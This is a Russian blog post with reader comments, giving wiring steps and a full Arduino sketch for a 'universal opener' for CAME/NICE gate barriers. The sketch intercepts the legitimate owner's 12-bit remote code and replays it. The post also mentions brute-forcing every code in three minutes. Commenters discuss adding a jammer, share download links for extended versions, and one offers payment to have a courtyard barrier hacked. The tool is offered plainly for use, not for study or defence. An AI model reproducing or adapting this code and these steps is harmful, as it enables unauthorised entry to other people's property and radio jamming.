Сегодня будем подробно рассматривать как открыть низкопробный шлагбаум Came или Nice без пульта. Для этого нам понадобятся старый брелок от сигнализации и самая дешевая плата Arduino.
Сделаем этот мегадевайс с тремя режимами:
- Перехват кода CAME / NICE — то есть законный хозяин шлагбаума его открыл, а мы перехватили код с его брелка
- Перебор кода (за 3 минуты можно перебрать все коды)
- Ну и непосредственно отправка кода шлагбауму чтобы он открылся 🙂
Универсальная открывашка шлагбаумов CAME / NICE
1) Находим такой брелок от сигналки (старлайн или шерхан):
Не обязательно прям такой. Можно купить с авторазборки или по объявлению на авито.
2) Берем где-нибудь ардруино рублей за 100 самое дешманское.
3) Ломаем брелок и вытаскиваем из него плату приемника-передатчика — ту что с антеннкой. Припаиваем к ней провода так:
4) Соответственно вторые концы цепляем к 2, 3, 5 пинам ардуино, а также к земле и VCC:
У меня arduino pro micro — так как она мелкая и уже со встроенным USB.
Теперь надо прошить наш открыватель шлагбаума CAME или NICE. Вот скетч для ардуино:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
#define txPin 3 //пин передатчика #define swPin 5 //пин включения приемника #define rxPin 2 //пин приемника void setup() { pinMode(rxPin, INPUT); pinMode(txPin, OUTPUT); // всегда устанавливаем пин включения приемника в 0 и не трогаем его больше pinMode(swPin, OUTPUT); digitalWrite(swPin, LOW); Serial.begin(921600); // тут поставьте свою скорость Serial.println("Came started"); // следующие 2 строчки включают перехватчик. если планируется только отправка их можно закоментить attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр - если у вас другая ардуина, он может быть не 1, а 0! interrupts(); } volatile static long lastCode = 0; void loop() { // это раскомментить и вместо 3693 вписать свой код для шлагбаума //SendCame4(3693); //delay(5000); //return; // при получении кода выводим его в терминал if (lastCode > 0) { Serial.println(lastCode & 0xfff); lastCode = 0; } } // функция отправляет код в эфир void SendCame4(long Code) { for (int j = 0; j < 7; j++) { // посылку посылаем 4 раза подряд. // время стартового импульса digitalWrite(txPin, HIGH); delayMicroseconds(320); digitalWrite(txPin, LOW); for (int i = 12; i > 0; i--) { byte b = bitRead(Code, i - 1); // побитово перебираем и посылаем код if (b) { digitalWrite(txPin, LOW); // 1 delayMicroseconds(640); digitalWrite(txPin, HIGH); delayMicroseconds(320); } else { digitalWrite(txPin, LOW); // 0 delayMicroseconds(320); digitalWrite(txPin, HIGH); delayMicroseconds(640); } } digitalWrite(txPin, LOW); delayMicroseconds(11520); } } // ВЕСЬ КОД НИЖЕ - ПРИЕМ #define MAX_DELTA 200 // длительность импульсов может плавать в зависимости от заряда батареии - макс допуск 200 мкс boolean CheckValue(unsigned int base, unsigned int value) { return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA))); } volatile unsigned long prevtime; volatile unsigned int lolen, hilen, state; volatile static byte cameCounter = 0; // count of bits stored volatile static long cameCode = 0; // code itself void grab() { state = digitalRead(rxPin); if (state == HIGH) lolen = micros() - prevtime; else hilen = micros() - prevtime; prevtime = micros(); if (state == LOW) { // последовательность закончилась if (CheckValue(320, hilen) && CheckValue(640, lolen)) // valid 1 { cameCode = (cameCode << 1) | 1; cameCounter++; } else if (CheckValue(640, hilen) && CheckValue(320, lolen)) // valid 0 { cameCode = (cameCode << 1) | 0; cameCounter++; } else cameCounter = 0; } else if (lolen > 1000 && (cameCounter == 12 || cameCounter == 13) && ((cameCode & 0xfff) != 0xfff)) { lastCode = cameCode & 0xfff; cameCounter = 0; cameCode = 0; } } |
Готово! Алгоритм простой — сначала перехватываем сигнал, смотрим в терминале код, потом отправляем этот самый код обратно, раскомментировав строчки в прошивке.
Роман
Логические уровни Arduino Uno 5v не сожгут брелок?
admin
У меня не сожгли, все работает, и довольно долго уже
Gennady
если можно, напишите модель брелка и точную его распиновку, я пробовал делать на ресивере от брелка starline a6 и a9, передатчик передаёт, а вот приёмник ничего не ловит и в терминал не выдаёт …
МК
Доброго времени суток. Возможно же заменить плату из брелка на родные приемник/передатчик для ардуины? (те которые использовались для другого шлаКбаума)
admin
зависит от модуляции сигнала, можно попробовать… для came подходят такие передатчики еще
У них AM модуляция
Андрей
А как у них с дальностью приема?
admin
приемники такие не пробовал. А передатчик — мои шлагбаумы во дворе днем с 50-60 метров открывает примерно такой как на фотке, где ножки по бокам. Дальше не берет
Андрей
«attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр — если у вас другая ардуина, он может быть не 1, а 0!»
А как бы узнать для какой ардуины какой параметр ставить? У меня Arduino Uno к примеру.
admin
Зависит от микросхемы, на которой сделана ардуина. Для микрухи Atmega168/328 номер прерывания 0 (у вас 0 то есть), для ATmega 32U4 — прерывание 1. Посмотреть можно http://arduino.ru/Reference/AttachInterrupt (типа вторая нога для уно = int.0, для леонардо вторая нога — int.1)
Андрей
Можно с вами связаться? По почте например?
admin
Да, почта kovalev@skproj.ru
sinobi
«// функция отправляет код в эфир
void SendCame4(long Code) {
for (int j = 0; j < 7; j++) { // посылку посылаем 4 раза подряд. "
Цифра 7опечатка?
admin
Угу, ну там можно что угодно написать. Чем больше число напишешь, тем вероятнее что шлагбаум примет код, и тем дольше будет перебор. Просто у меня во дворе жутко много помех от сигналок и прочего и хотелось проверить что все точно работает, вот и сделал 7 вместо 4.
sinobi
По идее можно же дописать код навесить кнопку и минуя терминал -по кнопке выбросить код
admin
Да, так и нужно сделать
Иван
а где можно посмотреть готовый вариант с кнопкой? =)
user
Добрый день, подскажите пожалуйста, работает ли данный скетч со шлагбаумами NICE ?
admin
Думаю да, а если не будет, то можно попробовать увеличить все что связано с временем в 2 раза
user
1. Если не трудно разъясните поподробнее пожалуйста?
2. Для каких шлагбаумов подойти этот скетч?
3. Есть ли варианты для других шгбаумов, кроме тех которые есть на вашем сайте?
Сделал устройство на таком приёмо-передатчике http://ru.aliexpress.com/item/RF-wireless-receiver-module-transmitter-module-board-for-arduino-super-regeneration-315-433MHZ-DC5V-ASK-OOK/1970487479.html
Немного переписал код, добавил некоторые функции и светодиодную индикацию.
Получилось 3 режима работы: сканер, отправка кода (как зашитого в код ардуины так и последнего пойманного) и глушилка.
LED индикация показывает питание (т.к. планируется всё спрятать в коробку), индикатор пойманного кода (загорается когда код со сканирован) и индикатор режима глушилка.
Также добавил 2 кнопки, по нажатию на которые включаются эти режимы.
Вот думаю как ещё усовершенствовать и улучшить идею.
Кому нужен скетч: https://cloud.mail.ru/public/7jZ6/ETcd2DAtd
саня
можете перезалить скетч?
user
К сожалению этого скетча же нет.
Сергей
Добрый день , а можно скетч о котором вы написали только без глушилки.
Интересно просто открытие закрытие шлагбаума на работе , ну иногда и половить можно если очень нужно .
Дмитрий
Где проблема не пойму, но не работает!(( Пробовал на различный девайсах (приемник srx882: http://ru.aliexpress.com/store/product/5sets-lot-433MHz-wireless-rf-module-kit-5pcs-transmitter-module-5pcs-receiver-module-10pcs-antenna/934254_1801271060.html?storeId=934254 и СС1101 — http://ru.aliexpress.com/item/1Pcs-CC1101-Wireless-Transceiver-Module-with-SMA-Antenna-for-Arduino-NEW/32654382463.html
В обоих случаях — неудача..
Но так как заработало на другом скетче(поиск поможет) не понимаю в чем проблема?) в качестве «пульта CAME» использую другую pro mini и передатчик — STX882, коды вижу как говорил при загрузке другого скетча…(( кстати переделал его немного, теперь с дисплеем oled 0.96″.
Друзья не пинайте сильно, так как опыта мало))) просто подскажите что делаю не так??
Как я понял пин5 (swPin) «будит» приемник SRX882 — порт CS? Вообщем запутался я, помогите и разъясните подробнее используемые трансиверы.. и тд.
Mr.4
Для девайса рекомендую, передатчик STX882 и приёмник SRX882. Работают просто охрененно.
http://ru.aliexpress.com/item/433MHz-100-Meters-Wireless-Module-Kit-ASK-Transmitter-STX882-ASK-Receiver-SRX882-2Pcs-Copper-Spring-Antenna/32637181317.html
пумба
а на первом фото номера контактов не перепутаны? зеркально не отражены судя по второму,хотелось бы уточнить
admin
Нет, но платы бывают разные… попробуйте сориентироваться по компонентам и надписям. Все именно так как на фото:
пумба
А еще вопрос по управлению,с ардуиной никогда не связывался,как работать в терминале,как именно включить перебор,глушилку?
admin
Надо хотя б немного разобраться в скетче и раскоментировать нужные функции. А глушилку вообще придется написать самому, ну это совсем просто, в цикле единицу в эфир вещать да и все.
Solo59
Админ, привет. А можешь запилить тему «глушилка шлакбаума». Нужно самую настоящую и простую глушилку эфира частоты шлакбаума, метров до 50 или 100.
Чтобы ничей пульт не смог открыть шлакбаум.
С нетерпением жду ответа.
dreamwait
Конструкция интересная — но какая-то недопиленная… Для полного счастья ее бы дополнить индикацией (светодиоды, а лучше экранчик с меню), кнопками выбора и сохранением награбленного в ячейки памяти. Тогда будет отличная база для дальнейшего расширения — ведь легко добавить другие типы шлагбаумов и сигнализаций. Ну и добавить автономный режим работы — чтобы с ноутом не палиться… Ну и режим брутфорса с возможностью остановки в произвольный момент и выбросом текущей позиции (с возможностью движения вперед-назад).
Попробую сделать — если получится что годное — выложу…
Константин
Как продвигаются изыскания? могу помочь в реализации моя почта toxiccat@mail.ru
Жек
Тык можно коммерциализироваться даже)
Константин
Я имел ввиду небольшой денюшкой)
Тимур
Такая беда, поставили шлагбаум а ключи не продают, могли бы пожалуйста все детально разъяснить как сделать брелок, а-то места совсем нет парковаться
Julianna
wifi модуль? или можно как-то запрограммировать что-то типа пинкода, например 2 раза кнопка открыть, 1 закрыть открывание происходит. Или так не делают?
Сергей
Забавно. В описании систем управления шлагбаумов заявлено динамическое кодирование. Меня терзают смутные сомнения…
Данила
Здравствуйте. Пожалуйста подскажите, как можно изменить код, чтобы после того как был найден код шлагмаума, он записывался в EEPROM?
Alex
Доброго времени.
А какие еще изменения в скетче сделать для платы Nano ?
кроме скорости ?
Solo59
Админ, помоги. Почему в этой строке ошибка ?…. хотя ардуино тоже про микро.
» attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр — если у вас другая ардуина, он может быть не 1, а 0!»
«C:\Documents and Settings\User\Рабочий стол\ардуино глушилка\sketch_dec06a\sketch_dec06a.ino: In function ‘void setup()’:
sketch_dec06a:17: error: ‘grab’ was not declared in this scope
exit status 1
‘grab’ was not declared in this scope
«
Pavel
У меня такая же проблема.
Slava161
можно пожалуйста скетч на открытие ворот с помощью ARDUINO и пульта 433/315?заранее огромное спасибо
Masis
скажите пожалуйста 2.3.5 ножки куда надо паят, если у меня такой девайс https://ru.aliexpress.com/item/RF-wireless-receiver-module-transmitter-module-board-for-arduino-super-regeneration-315-433MHZ-DC5V-ASK-OOK/1970487479.html
Waik
Так на самом модуле ведь ножки подписаны. Землю к земле, питалово к VCC, и.т.д
Георгий
Ребят, посодействуйте хакнуть шлагбаум в моем дворе пожалуйста. У нас ответственная за это бабка страдает синдромом вахтера и не дает подключить второй номер телефона к шлагбауму.
Заплачу за услугу и буду признателен откликнувшимся.
С ув., Георгий
gevorkbb@gmail.com
Алекс
Спасибо автору, никакие другие библиотки и скетчи не справлялись с брелком, давно хотелось сграбить.
MaX22
всем привет, есть ли кто живой тут? хочу задать несколько вопросов.